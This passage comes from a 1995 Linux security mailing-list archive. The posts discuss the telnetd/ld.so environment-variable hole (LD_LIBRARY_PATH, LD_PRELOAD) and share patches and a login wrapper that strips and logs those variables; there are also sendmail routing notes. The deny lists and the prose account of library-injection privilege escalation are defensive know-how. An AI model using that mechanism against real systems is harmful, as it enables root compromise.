user, using any SUID binary. Compiling ld.so 1.5.3 w/o any modications (as issued by Sunsite in the package 'ld.so-1.5.3.tar.gz), I couldnot, any longer,gain root using this method. - --- ld.so - 1.5.3 source snippet --- /* hmm, you want your own path, do you? */ if (((cp = getenv("AOUT_LD_LIBRARY_PATH")) && *cp) || ((cp = getenv("LD_LIBRARY_PATH")) && *cp)) { uid_t uid = getuid(); if (uid && (uid != geteuid() || getgid() != getegid())) { /* sorry, Charlie, I can't let you do that */ *cp = '\0'; - ------------------------------------ So something was missing / wrong with this code in the ld.so for the slackware 2.3 package, as it was, on tsx-11.mit.edu/pub/linux/distibutions/slackware/* some 3 months ago. My apologies for the alarm. Only SW 2.3 users need be worried. BTW: tsx-11 no longer has 2.3 in the slackware directory. I believe slackware 3.0 is there now. NOTE: this should teach those of us that trust others' binaries to no longer do so. I have long been advocate of this policy, however, I made an exception for ld.so :/ Chad Giffin TNET Information Systems, Canada (204) 857-5754 [email protected] ------------------------------ From: "Steve \"Stevers!\" Coile" Date: Thu, 9 Nov 1995 07:41:11 -0500 (EST) Subject: Re: telnetd hole On Tue, 7 Nov 1995, David Hedley wrote: > It seems to me that the crux of the problem lies with what the > LD_LIBRARY_PATH (and others) are supposed to do. > > IMHO LD_LIBRARY_PATH should be used only to specify _additional_ libraries, > over and above those given in /etc/ld.so.conf. In this way it wouldn't > matter what it was set to as libraries in /lib, /usr/lib etc will always be > searched first. After all, the only times you wants to _replace_ the > standard library is when you are either cracking the system, or developing > a new library. There's always the possbility that some user may want to use a custom library because it suits their needs or wants. I'd rather a solution was developed that allowed that to occur, a solution that preserves as many freedoms as possible. The problem, as I understand it, is that the loader will honor the LD_LIBRARY_PATH value when loading privileged programs. Does anyone really object to honoring LD_LIBRARY_PATH when loading unprivileged programs? My preference would be for the loader to follow this algorithm: if ( program is privileged && user is not root ) then ignore LD_LIBRARY_PATH else honor LD_LIBRARY_PATH end if You could even expand it so that: if ( program is privileged ) then if ( program is SUID and program is SGID ) then if ( ( EUID == program owner's UID ) && ( EGID == program owner's GID ) ) then honor LD_LIBRARY_PATH else ignore LD_LIBRARY_PATH fi else if ( program is SUID ) then if ( EUID == program owner's UID ) then honor LD_LIBRARY_PATH else ignore LD_LIBRARY_PATH end if else if ( EGID == program owner's GID ) then honor LD_LIBRARY_PATH else ignore LD_LIBRARY_PATH end if end if else . . . end if [Mod: This is the last post regarding how $LD_LIBRARY_PATH et al. *should* behave that I'm going to forward to linux-security. Follow-ups on this thread should go to the [email protected] list, which is also available via a mail-to-news gateway as the linux.dev.gcc newsgroup (under the linux.* hierarchy, which is now getting fairly good propagation through the "back channels" of USENET). If you would like a feed of the linux.* newsgroups to your site, let me know at [email protected] and I'll try to point you to a nearby site that carries/feeds it. --Jeff] ------------------------------ From: Marek Michalkiewicz Date: Thu, 9 Nov 1995 14:47:23 +0100 (MET) Subject: Another possible problem with ld.so? This is probably not a big hole by itself, but I think it is worth mentioning. It may, for example, cause security problems with setuid wrapper programs which execute some other programs after setting the real uid to the effective uid, and are not careful enough about the environment. ld.so-1.7.10 does the following when uid != euid: /* sorry, Charlie, I can't let you do that */ if ((cp = getenv("LD_PRELOAD"))) *cp = '\0'; if ((cp = getenv("LD_ELF_PRELOAD"))) *cp = '\0'; if ((cp = getenv("LD_AOUT_PRELOAD"))) *cp = '\0'; ... and so on with LD_LIBRARY_PATH, LD_ELF_LIBRARY_PATH, and LD_AOUT_LIBRARY_PATH. This removes these variables from the environment (replaces them with empty strings). This looks very nice, but what happens if you have these variables defined multiple times? getenv() can only find one string, it will be removed, but the rest will still be there. Now, let's say this is a setuid root wrapper program which executes some command as root after doing setuid(0). If LD_LIBRARY_PATH was defined twice in the environment, it will still be defined (only one string has been removed) and passed to the new program (which will now run with uid == euid so ld.so won't remove dangerous environment strings). Similar problem has been discovered in SunOS some time ago (it has been discussed on bugtraq). It sounds like we need to remove all occurences of LD_xxx etc., not just one. Replacing "if" instructions with "while" loops should do the trick. Marek ------------------------------ From: Jeff Uphoff Date: Thu, 9 Nov 1995 18:10:03 -0500 Subject: Slight change in Majordomo server delivery, but don't worry... - -----BEGIN PGP SIGNED MESSAGE----- This is a pseudo-test post due to minor changes that I have made to the linux.nrao.edu Majordomo server's handling of the Linux security lists; I've shifted the final SMTP delivery stage for the lists to another, less loaded, system due to the load that it now puts on my desktop system (the lists have grown quite large). We'll see how this change affects delivery time... I figure that some people might notice the change in the message headers--an extra "Received" header will now be present in most messages--so I'm also letting everyone know that this is to be expected and considered normal. This does not in any way affect interaction with the Majordomo server; subscription activity, digest processing, post submissions/approvals, etc., are all still carried out by the primary server, and no addresses have changed. - - --Up. - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMKKKRLxzFUpUTHgFAQGOzgP/UZQaeo1Klz2+2xRHAPcFy6CMqbCIdQjc FQ5D5Jt/3DDK/7Dzm7J4nuTH0R58fKJxZXsDi9Mt7dEZo1/i6OyOarPOF0MAt1gs 6pfuCSiJ/LZJ0MaKJH5ws/vrFS6tMij1b6q5NStOHGerj7sbeElFcn2Tsq5SPCoX XYnhrXsv2Wg= =scWw - -----END PGP SIGNATURE----- - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ ------------------------------ End of linux-security-digest V1 #46 *********************************** linux-security-digest/1995/v01.n047100664 1767 1767 55014 6051035453 16057 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #47 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Saturday, 11 November 1995 Volume 01 : Number 047 Re: Slight change in Majordomo server delivery, but don't worry... Re: Fwd: CERT Advisory CA-95:14 - Telnetd Environment Vulnerability ATTN! CORRECTION: Re: Fwd: CERT Advisory CA-95:14 - Telnetd Environment Vulnerability Re: Fwd: CERT Advisory CA-95:14 - Telnetd Environment Vulnerability Re: Fwd: CERT Advisory CA-95:14 - Telnetd Environment Vulnerability Administrative changes, notes. Administrative changes, notes. Administrative changes, notes. telnetd.95.10.23.patch ---------------------------------------------------------------------- From: Jeff Uphoff Date: Thu, 9 Nov 1995 18:58:27 -0500 Subject: Re: Slight change in Majordomo server delivery, but don't worry... - -----BEGIN PGP SIGNED MESSAGE----- "Up" == Jeff Uphoff writes: Up> This is a pseudo-test post due to minor changes that I have made to Up> the linux.nrao.edu Majordomo server's handling of the Linux security Up> lists; OK, I screwed up with that last one--I didn't update the aliases on the server system to push the traffic to the delivery system. This is now fixed, and *this* message is the test. I need another vacation. - - --Up. - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMKKViLxzFUpUTHgFAQHnlwP8ClSAe7Bsx8Ha82cCwbNRn56lXR4Noa+i S9zQUbHVtxzycfUiyF+noM3Sw/R+iiSCMmJxonGp+EUhcPBrnSMevD9ocsNNWelf hCE/NZl19AzU4zP6h+XL7XBZFyFka8a7BoL0HqdFYP4mHw8M5OsBf/Oo54j3Fw76 F0gAK+I7Ftw= =3bi5 - -----END PGP SIGNATURE----- ------------------------------ From: [email protected] (Jacob Langseth) Date: Thu, 9 Nov 1995 21:23:21 -0500 Subject: Re: Fwd: CERT Advisory CA-95:14 - Telnetd Environment Vulnerability >So I added a few lines to do a syslog dump and close the connection. >If you don't want to close the connection, just remove the exit(1) >statement as noted in the code. WAIT! Do NOT remove the exit(1) unless you also add code to clear the environment variables. If you do not, this will simply log that a hack was attempted and do nothing to prevent it... > for (p1 = p2 = envp; *p1; p1++) { > if (strncmp(*p1, "LD_", 3) != 0 && > strncmp(*p1, "_RLD", 4) != 0 && > strncmp(*p1, "LIBPATH=", 8) != 0 && > strncmp(*p1, "ELF_LD_", 7) != 0 && > strncmp(*p1, "AOUT_LD_", 8) != 0 && > strncmp(*p1, "IFS=", 4) != 0 ) { > *p2++ = *p1; > } > else { > /* here is a break in ??? */ > > syslog(LOG_ALERT, "Breakin attempt: %s", *p1); > for(i=0;i syslog(LOG_ALERT, "Breakin dump: argv[%d] = %s", > i, argv[i]); > /* remove the next line to keep connection open */ > exit(1); > } > } > > *p2 = 0; > execve(_PPATH_LOGIN, argv, envp); > perror(_PPATH_LOGIN); > exit(1); Also, while I'm posting, there is a security flaw with the updatedb command. According to the manpages, updatedb executes as daemon by default (to preserve directory permissions). Unfortunately it fails to set its UID to daemon's before executing the find, and (at least in my Slackware distribution) updatedb is ran via a cronjob as ROOT. This allows anyone using the 'locate' command to view the entire file system. While this isn't a direct security threat, it does effectively negate directory read permissions and should be fixed. To have updatedb to run as daemon: 1) relocate the updatedb command from root's cronjob to daemon's 2) chown -R daemon.daemon /var/spool/locate Musashi - -- Jacob Langseth -=-finger for PGP key-=- Enhanced Systems, Inc. email: [email protected] 6961 PeachTree Ind Blvd voice: (404) 662-1504 ext. 684 Norcross, GA 30092 fax: (404) 662-1537 ------------------------------ From: [email protected] (Jacob Langseth) Date: Thu, 9 Nov 1995 22:44:05 -0500 Subject: ATTN! CORRECTION: Re: Fwd: CERT Advisory CA-95:14 - Telnetd Environment Vulnerability [Mod: Edited to remove/change notes that were directed solely toward the moderator(s). --Jeff.] ...In my previous email, I said: > WAIT! Do NOT remove the exit(1) unless you also add code to clear the > environment variables. If you do not, this will simply log that a hack > was attempted and do nothing to prevent it... I was incorrect, my apologies. Please ignore all references to the patch from my post. The information at the end regarding the updatedb security problem is accurate, however. Jacob - -- Jacob Langseth -=-finger for PGP key-=- Enhanced Systems, Inc. email: [email protected] 6961 PeachTree Ind Blvd voice: (404) 662-1504 ext. 684 Norcross, GA 30092 fax: (404) 662-1537 ------------------------------ From: Jeff Uphoff Date: Fri, 10 Nov 1995 12:56:21 -0500 Subject: Re: Fwd: CERT Advisory CA-95:14 - Telnetd Environment Vulnerability "JL" == Jacob Langseth writes: [Please note that all of my statements/patches are for the 'updatedb' that shipped with the last pre-3.0 (i.e. non-ELF) release of Slackware. - --Jeff] JL> Also, while I'm posting, there is a security flaw with the updatedb JL> command. JL> According to the manpages, updatedb executes as daemon by default JL> (to preserve directory permissions). It does execute as "daemon" when searching NFS-mounted directories, if you add any to the search path inside the 'updatedb' script. JL> Unfortunately it fails to set its UID to daemon's before executing JL> the find, and (at least in my Slackware distribution) updatedb is JL> ran via a cronjob as ROOT. This allows anyone using the 'locate' JL> command to view the entire file system. It su's to "daemon" internally before doing the 'find' on NFS-mounted filesystems, but not for locally-mounted FS's. JL> While this isn't a direct security threat, it does effectively negate JL> directory read permissions and should be fixed. JL> To have updatedb to run as daemon: JL> 1) relocate the updatedb command from root's cronjob to daemon's JL> 2) chown -R daemon.daemon /var/spool/locate Or apply this patch, which is a summary of the (incremental) RCS changes that I've made to 'updatedb' against the Slackware distributed script, with some "localisms" (such as search/exclude paths) removed: - -----snip snip----- - --- updatedb 1995/11/10 16:28:50 1.0 +++ updatedb 1995/11/10 17:38:03 @@ -33,6 +37,7 @@ --netpaths) NETPATHS="$val" ;; --prunepaths) PRUNEPATHS="$val" ;; --output) LOCATE_DB="$val" ;; + --locuser) LOCUSER="$val" ;; --netuser) NETUSER="$val" ;; --old-format) old=yes ;; --version) echo "GNU updatedb version 4.1"; exit 0 ;; @@ -69,8 +74,11 @@ : ${TMPDIR=/usr/tmp} fi +# The user to search local directories as. +: ${LOCUSER=nobody} + # The user to search network directories as. - -: ${NETUSER=daemon} +: ${NETUSER=nobody} # The directory containing the subprograms. : ${LIBEXECDIR=/usr/libexec} @@ -94,8 +102,8 @@ # FIXME figure out how to sort null-terminated strings, and use -print0. { if test -n "$SEARCHPATHS"; then - - $find $SEARCHPATHS \ - - \( -fstype nfs -o -fstype NFS -o -type d -regex "$PRUNEREGEX" \) -prune -o -print + su $LOCUSER -c \ + "$find $SEARCHPATHS \\( -fstype nfs -o -fstype proc -o -fstype msdos -o -fstype iso9660 -o -type d -regex \"$PRUNEREGEX\" \\) -prune -o -print" fi if test -n "$NETPATHS"; then - -----snip snip----- This allows you to keep it in root's crontab and leave the database files/directories owned by root. Please note that I run the find's as "nobody" rather than as "daemon." Also, my patch tells it to exclude "proc", "msdos", and "iso9660" FS's since I don't want them in my locator database. - --Up. - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ ------------------------------ From: Joshua Cowan Date: Fri, 10 Nov 1995 01:48:34 -0600 Subject: Re: Fwd: CERT Advisory CA-95:14 - Telnetd Environment Vulnerability [Mod: Section regarding Jacob Langseth's mistaken post about the exit(1) call in the syslog-capable login wrapper removed; Jacob has already posted a retraction. --Jeff.] JL> According to the manpages, updatedb executes as daemon by JL> default (to preserve directory permissions). Unfortunately it JL> fails to set its UID to daemon's before executing the find, It only runs as `daemon' when searching network directories: --netuser=user The user to search network directories as, using su(1). Default is daemon. This is the only place that running as daemon is mentioned in the man page that comes with updatedb version 4.1. JL> To have updatedb to run as daemon: JL> 1) relocate the updatedb command from root's cronjob to daemon's JL> 2) chown -R daemon.daemon /var/spool/locate This is correct, but beware if you generate a locate db for network directories: the `su' in the updatedb script will most likely fail. [Mod: The patch to 'updatedb' that I posted today takes this into account; it does su's internally before each find (for both local and NFS filesystems), and thus must be run as root. It also adds a second option, "--locuser=user", which behaves exactly like the "--netuser" option (though I default both to "nobody" vice "daemon"). --Jeff.] - -- Joshua Cowan __| I don't want to listen http://hermit.reslife.okstate.edu/~jcowan | but it's all too clear... Computer Engineering Student -- Oklahoma State University -- Stillwater, OK PGP key available from any PGP keyserver or by fingering the above address. ------------------------------ From: Jeff Uphoff Date: Fri, 10 Nov 1995 18:02:45 -0500 Subject: Administrative changes, notes. - -----BEGIN PGP SIGNED MESSAGE----- In an effort to improve the delivery time for messages to the Linux security lists (which have grown quite large and are now taking hours for one system to deliver), I'm now setting up sendmail.cf rules to attempt to distribute the final SMTP delivery of list messages among different systems, based on destination domains. This message is an initial test of the concept, with the following small rule-set additions in place: # Bump off to our friends. R$*<@$+.us>$* $#esmtp [email protected] $:$1<@$2.us>$3 R$*<@$+.net>$* $#esmtp [email protected] $:$1<@$2.net>$3 R$*<@$+.nl>$* $#esmtp [email protected] $:$1<@$2.nl>$3 (This is being attempted after suggestions/ideas from Roger Wolff and Alex Yuriev .) If this appears to work decently and helps improve delivery times, I'd appreciate volunteers to act as hubs for both top-level domains and for non-top-level domains that have a significant number of subscribers. (I'll post this request when I'm ready to set things up--hopefully within a few days--along with a current top-level domain breakdown of the lists' propagation.) No administrative work should be required at the volunteer sites--you'd just be volunteering the use of your sendmail daemon and some CPU cycles. (I'd prefer to restrict the volunteer pool to systems running v8 sendmail, at least initially, since that's the one that I understand the best myself and could most easily help solve any problems for.) If there's a sendmail guru out there that thinks this is a scheme doomed to failure, or that notices problems with my rule-sets, please drop me e-mail and let me know. :)~ - - --Up. - - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMKPaDLxzFUpUTHgFAQEC9QP8DFBqJucom+WPfhhDZdpCy0ND7KyxPdRY R1KKHvLBBNH4Yj0S5J2uP7QvQlRQ1PRFXCL2pQwZoATD4CQ+HWwtjfp+lgZUieOv 2FNtnivnO9117dFdNngMTjJxjXJoJjFfUCLY/l5c3Lb34MGMpqo9e6rpfj3MfOfz D0eiMDUkhc8= =iXQW - -----END PGP SIGNATURE----- ------------------------------ From: Jeff Uphoff Date: Fri, 10 Nov 1995 18:08:57 -0500 Subject: Administrative changes, notes. - -----BEGIN PGP SIGNED MESSAGE----- In an effort to improve the delivery time for messages to the Linux security lists (which have grown quite large and are now taking hours for one system to deliver), I'm now setting up sendmail.cf rules to attempt to distribute the final SMTP delivery of list messages among different systems, based on destination domains. This message is an initial test of the concept, with the following small rule-set additions in place: # Bump off to our friends. R$*<@$+.us>$* $#esmtp [email protected] $:$1<@$2.us>$3 R$*<@$+.net>$* $#esmtp [email protected] $:$1<@$2.net>$3 R$*<@$+.nl>$* $#esmtp [email protected] $:$1<@$2.nl>$3 (This is being attempted after suggestions/ideas from Roger Wolff and Alex Yuriev .) If this appears to work decently and helps improve delivery times, I'd appreciate volunteers to act as hubs for both top-level domains and for non-top-level domains that have a significant number of subscribers. (I'll post this request when I'm ready to set things up--hopefully within a few days--along with a current top-level domain breakdown of the lists' propagation.) No administrative work should be required at the volunteer sites--you'd just be volunteering the use of your sendmail daemon and some CPU cycles. (I'd prefer to restrict the volunteer pool to systems running v8 sendmail, at least initially, since that's the one that I understand the best myself and could most easily help solve any problems for.) If there's a sendmail guru out there that thinks this is a scheme doomed to failure, or that notices problems with my rule-sets, please drop me e-mail and let me know. :)~ - - --Up. - - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMKPaDLxzFUpUTHgFAQEC9QP8DFBqJucom+WPfhhDZdpCy0ND7KyxPdRY R1KKHvLBBNH4Yj0S5J2uP7QvQlRQ1PRFXCL2pQwZoATD4CQ+HWwtjfp+lgZUieOv 2FNtnivnO9117dFdNngMTjJxjXJoJjFfUCLY/l5c3Lb34MGMpqo9e6rpfj3MfOfz D0eiMDUkhc8= =iXQW - -----END PGP SIGNATURE----- ------------------------------ From: Jeff Uphoff Date: Fri, 10 Nov 1995 18:30:00 -0500 Subject: Administrative changes, notes. - -----BEGIN PGP SIGNED MESSAGE----- In an effort to improve the delivery time for messages to the Linux security lists (which have grown quite large and are now taking hours for one system to deliver), I'm now setting up sendmail.cf rules to attempt to distribute the final SMTP delivery of list messages among different systems, based on destination domains. This message is an initial test of the concept, with the following small rule-set additions in place: # Bump off to our friends. R$*<@$+.us.>$* $#esmtp [email protected] $:$1<@$2.us.>$3 R$*<@$+.net.>$* $#esmtp [email protected] $:$1<@$2.net.>$3 R$*<@$+.nl.>$* $#esmtp [email protected] $:$1<@$2.nl.>$3 (This is being attempted after suggestions/ideas from Roger Wolff and Alex Yuriev .) If this appears to work decently and helps improve delivery times, I'd appreciate volunteers to act as hubs for both top-level domains and for non-top-level domains that have a significant number of subscribers. (I'll post this request when I'm ready to set things up--hopefully within a few days--along with a current top-level domain breakdown of the lists' propagation.) No administrative work should be required at the volunteer sites--you'd just be volunteering the use of your sendmail daemon and some CPU cycles. (I'd prefer to restrict the volunteer pool to systems running v8 sendmail, at least initially, since that's the one that I understand the best myself and could most easily help solve any problems for.) If there's a sendmail guru out there that thinks this is a scheme doomed to failure, or that notices problems with my rule-sets, please drop me e-mail and let me know. :)~ - - --Up. - - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMKPgcLxzFUpUTHgFAQEtNgP7By9l8fA5uGt89HOvk8lg5b4xX90/L9G7 a779e8xeBhF6KDcuP/MZ0EAVpzVr5jsfACTYAD/UaudqdtpulpQGgvERuigTDwTh ogdyXbbhLvpRyIhV9CROD48docCzixPNI92D6j/+m3lyqZNWyBw106JpeyhykEWP 20ipYnOidGo= =lQQl - -----END PGP SIGNATURE----- ------------------------------ From: [email protected] (Matt 'Panzer Boy') Date: 11 Nov 1995 00:52:06 -0500 Subject: telnetd.95.10.23.patch I patched the telnetd from cray to build properly on linux systems. If people are interested in the latest version of telnet, as opposed to the one in the netkit. This is the version that is mentioned as being fixed in the CERT advisory. You can get the original telnet/telnetd from: ftp://ftp.cray.com/src/telnet/telnet.95.10.23.NE.tar.Z My patch is for the "telnet.95.10.23.tar.Z" package, but is the same for the NE version also, just rename the directory to "telnet.95.10.23" and run patch -p0 #include #endif +#ifndef LINUX #include +#endif #ifdef t_erase #undef t_erase #undef t_kill diff -u --recursive telnet.95.10.23.orig/telnetd/utility.c telnet.95.10.23/telnetd/utility.c - --- telnet.95.10.23.orig/telnetd/utility.c Mon Oct 23 10:47:18 1995 +++ telnet.95.10.23/telnetd/utility.c Fri Nov 3 15:57:02 1995 @@ -37,6 +37,9 @@ #define PRINTOPTIONS #include "telnetd.h" +#ifdef LINUX +# include +#endif /* * utility functions performing io related tasks @@ -445,6 +448,9 @@ register char *cp; char *where; { +#ifdef LINUX + struct utsname utsname; +#endif char *slash; time_t t; char db[100]; @@ -485,6 +491,22 @@ (void)strftime(db, sizeof(db), fmtstr, localtime(&t)); putstr(db); break; +#ifdef LINUX + case 's': + (void) uname(&utsname); + putstr(utsname.sysname); + break; + + case 'r': + (void) uname(&utsname); + putstr(utsname.release); + break; + + case 'v': + (void) uname(&utsname); + putstr(utsname.version); + break; +#endif case '%': putchr('%'); - ----------------------------Cut Here------------------------------------ - -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." ------------------------------ End of linux-security-digest V1 #47 *********************************** linux-security-digest/1995/v01.n048100664 1767 1767 40231 6053316422 16053 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #48 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Saturday, 18 November 1995 Volume 01 : Number 048 telnetd.95.10.23.patch One last (hopefully!) administrative note. Re: Another possible problem with ld.so? telnetd/ld.so security hole. Mail routing (admin). New ld.so package available (fwd) ---------------------------------------------------------------------- From: [email protected] (Matt 'Panzer Boy') Date: 11 Nov 1995 00:52:06 -0500 Subject: telnetd.95.10.23.patch I patched the telnetd from cray to build properly on linux systems. If people are interested in the latest version of telnet, as opposed to the one in the netkit. This is the version that is mentioned as being fixed in the CERT advisory. You can get the original telnet/telnetd from: ftp://ftp.cray.com/src/telnet/telnet.95.10.23.NE.tar.Z My patch is for the "telnet.95.10.23.tar.Z" package, but is the same for the NE version also, just rename the directory to "telnet.95.10.23" and run patch -p0 #include #endif +#ifndef LINUX #include +#endif #ifdef t_erase #undef t_erase #undef t_kill diff -u --recursive telnet.95.10.23.orig/telnetd/utility.c telnet.95.10.23/telnetd/utility.c - --- telnet.95.10.23.orig/telnetd/utility.c Mon Oct 23 10:47:18 1995 +++ telnet.95.10.23/telnetd/utility.c Fri Nov 3 15:57:02 1995 @@ -37,6 +37,9 @@ #define PRINTOPTIONS #include "telnetd.h" +#ifdef LINUX +# include +#endif /* * utility functions performing io related tasks @@ -445,6 +448,9 @@ register char *cp; char *where; { +#ifdef LINUX + struct utsname utsname; +#endif char *slash; time_t t; char db[100]; @@ -485,6 +491,22 @@ (void)strftime(db, sizeof(db), fmtstr, localtime(&t)); putstr(db); break; +#ifdef LINUX + case 's': + (void) uname(&utsname); + putstr(utsname.sysname); + break; + + case 'r': + (void) uname(&utsname); + putstr(utsname.release); + break; + + case 'v': + (void) uname(&utsname); + putstr(utsname.version); + break; +#endif case '%': putchr('%'); - ----------------------------Cut Here------------------------------------ - -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." ------------------------------ From: Jeff Uphoff Date: Sat, 11 Nov 1995 04:05:41 -0500 Subject: One last (hopefully!) administrative note. I am now routing the security lists' traffic for several domains through "regional exploders." This should improve delivery time somewhat; I can already see the queues here clearing more quickly, thanks to the CPU cycles donated by Roger Wolff (in The Netherlands) Alex Yuriev (in Philadelphia, Pennsylvania, USA) and Matti Aarnio (in Finland). Alex's system is sharing the delivery of U.S. sites with the NRAO systems, Roger's is handling The Netherlands, and Matti's is now the hub for the Scandinavian countries, the Baltic states, Poland, and Russia. If anyone would like to volunteer their system for forwarding to the following regions, it would be much appreciated. I am breaking things down into groups by region, taking into account the number of subscribers in each general region. Germany (lots of subscribers) U.K./British Isles (lots here too) Canada Australia/New Zealand France Italy South Africa/Mozambique Spain/Portugal Central Europe (e.g. Austria, Hungary, Switzerland, Czech Republic, Slovakia) Balkan/Southeastern Europe region (e.g. Romania, the former Yugoslav republics, Ukraine, Armenia, Greece) The Middle East (e.g. Israel, Turkey) South America (the continent) Eastern and Southeastern Asia (e.g. Japan, Korea, Taiwan, Thailand, Hong Kong, Singapore) (Regional hubs don't necessarily need to cover all countries listed for a region. There are also many countries that I left out, some of which there is no reason to set up a hub for due to low subscribership.) If you have both a decently fast link to the U.S. and good connectivity within your region (i.e. sane network routes within your own country and to neighboring ones, without going by way of Antarctica and the like), as well as a relatively fast, stable system (that is always up), all you have to do is tell me it's available--no changes should need be made to your system at all if you run sendmail or something similar; I just add a rule to my sendmail.cf file here that says: R$*<@$+.domain.>$* $#esmtp [email protected] $:$1<@$2.domain.>$3 and the new "exploder" is in action. It's doubtful that the exploder system(s) will even notice the change. Thanks! - --Up. - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ ------------------------------ From: Joshua Cowan Date: Fri, 10 Nov 1995 02:39:43 -0600 Subject: Re: Another possible problem with ld.so? [Mod: The author is looking for opinions/criticisms from the list before he does anything more with this code. Please direct all responses to the post's author--not to the list. (Joshua can summarize any criticisms that he receives and post them to the list in the future, if he feels that they are worth distributing.) I have not reviewed this code for functionality myself; I've only looked over the concept of what it's doing and figured that I'd forward it on. --Jeff.] >>>>> "MM" == Marek Michalkiewicz writes: MM> Now, let's say this is a setuid root wrapper program which MM> executes some command as root after doing setuid(0). If MM> LD_LIBRARY_PATH was defined twice in the environment, it will MM> still be defined (only one string has been removed) and passed As far as wrappers go, this should fix the above problem. It implements the suggestion by Peter Da Silva. Yes, it is rather presumptuous/restrictive about what it lets into the environment, but it is easy to allow other environment variables to pass if need be. - -- Joshua Cowan __| I don't want to listen http://hermit.reslife.okstate.edu/~jcowan | but it's all too clear... Computer Engineering Student -- Oklahoma State University -- Stillwater, OK PGP key available from any PGP keyserver or by fingering the above address. /* This is a login wrapper that removes all instances of various variables from the environment. Original author: Lawrence R. Rogers This is a modified version and is only partially based on the work of the original author; Lawrence R. Rogers is not responsible for this version. NOTE: THIS PROGRAM MUST BE COMPILED STATICALLY TO BE EFFECTIVE AGAINST EXPLOITATION. For example: gcc -static -o login FILENAME Where FILENAME is the name of the file to which you saved this. To install this wrapper, first move `/bin/login' or `/usr/bin/login' (make sure it is the one that telnetd (8) executes) to `/bin/login.real' or whatever you defined _PATH_LOGIN_REAL to be. Then replace the original with the executable generated by compiling this file (again, make sure that this executable is statically linked or it will be ineffective). */ #include #include #include #include #ifndef SYSLOG_FACILITY #define SYSLOG_FACILITY LOG_AUTHPRIV #endif /* SYSLOG_FACILITY */ #ifndef SYSLOG_LEVEL #define SYSLOG_LEVEL LOG_ALERT #endif /* SYSLOG_LEVEL */ #ifndef _PATH_LOGIN_REAL #define _PATH_LOGIN_REAL "/bin/login.real" #endif /* _PATH_LOGIN_REAL */ /* This should be a list of environment strings that we want to allow users to pass to login (1) (and possibly to the shell). These will be matched using strncmp (3). This list should really only contain the names of environment variables that control display parameters, as any others should be able to wait until the shell's rc files (e.g., `.login', `.profile', `/etc/profile', etc.,) are executed. */ static const char *legal_env_strings[] = { "DISPLAY=", "TERM=", 0 }; int main (argc, argv, envp) int argc; char **argv, **envp; { char **p1, **p2; int i; openlog (argv[0], LOG_PID, SYSLOG_FACILITY); for (p1 = p2 = envp; *p1; p1++) { int found = 0; /* Traverse the list of legal environment strings. If we have a match, pass it in envp; otherwise, send a warning to the system logger. */ for (i = 0; legal_env_strings[i] && !found; i++) { if (!strncmp (*p1, legal_env_strings[i], strlen (legal_env_strings[i]))) found = 1; } if (found) { *p2++ = *p1; } else { syslog (SYSLOG_LEVEL, "illegal environment string: `%s'\n", *p1); } } *p2 = 0; closelog (); execve (_PATH_LOGIN_REAL, argv, envp); perror (_PATH_LOGIN_REAL); exit (1); } ------------------------------ From: Christopher Blizzard Date: Mon, 13 Nov 1995 10:06:10 -0500 Subject: telnetd/ld.so security hole. For those of you that this was a concern for, here is an excerpt from the README for ld.so 1.7.10: Changes in version 1.7.6: Fixed a bug in ld-linux.so dealing with a zero-length LD_{ELF_}PRELOAD. Changed ld.so and ld-linux.so to truncate all variations of LD_PRELOAD and LD_LIBRARY_PATH for set[ug]id programs. - -------- - ------------------------------------------------------------------------- Christopher Blizzard | "The truth knocks on the door and you say [email protected]| 'Go away. I'm looking for the truth,' and | so it goes away." --Robert Pirsig - ------------------------------------------------------------------------- ------------------------------ From: Jeff Uphoff Date: Tue, 14 Nov 1995 16:33:38 -0500 Subject: Mail routing (admin). - -----BEGIN PGP SIGNED MESSAGE----- OK, the major mail-routing changes are done for the lists; delivery time seems to have improved quite a bit. I've got several hubs in various regions going now for distribution, though I could still use hubs in: Canada Australia France Italy South Africa Spain (That's just a "top six" list...) Many thanks to all who volunteered (both hubs and sendmail.cf suggestions). I may be implementing a "mailertable" method, vice raw sendmail.cf routes, in the future, depending upon a couple of factors. - - --Up. - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMKkLH7xzFUpUTHgFAQEsmAQAjKFEpn+e/rbXk++jm5etwnOxRcyxbXx/ 9sA9pz+aT57heRqJ4/R3oT17XurXfaKe/CT573mgqHFzzUd6jaAZ7pmocSfwHebD Hf4RwGAyEQAkIBsT/fLK5rOrJhKgynAJFSibyZHCPQeCt96nDVblE1B1naDDbYYr 3iEFecqHw98= =KfIb - -----END PGP SIGNATURE----- - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ ------------------------------ From: [email protected] (David Engel) Date: Wed, 15 Nov 1995 14:17:44 -0600 (CST) Subject: New ld.so package available (fwd) [Mod: Forwarded to me by Christopher Blizzard . Headers munged somewhat to reflect 